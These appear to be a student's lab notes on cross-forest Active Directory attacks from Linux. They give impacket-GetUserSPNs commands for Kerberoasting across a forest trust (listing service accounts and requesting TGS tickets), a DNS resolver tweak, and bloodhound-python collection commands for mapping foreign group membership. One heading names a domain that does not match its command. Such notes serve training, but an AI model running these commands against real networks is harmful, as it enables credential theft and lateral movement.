cross-forest-trust-abuse-from-linux

Cross forest Kerberoasting attack (initial access)

GetUserSpn

impacket-GetUserSPNs -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley

Get a TGS ticket

impacket-GetUserSPNs -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley

If we get into a machine without DNS server

/etc/resolv.conf

Domain INLANEFREIGHT.LOCAL

Nameserver 172.16.5.5

Hunt foreign group membership (bloodhound)

• Running bloodhound-python against INLANEFREIGHT.LOCAL

bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u <username@<domain_dc> -p <pass>

Running bloodhound-python against INLANELOGISTICS.LOCAL

Add DNS entry

bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u <username>@inlanefreight.local -p <pass>

Bloodhound GUI

• Dangerous rights > "users with foreign domain group membership" under the analysis tab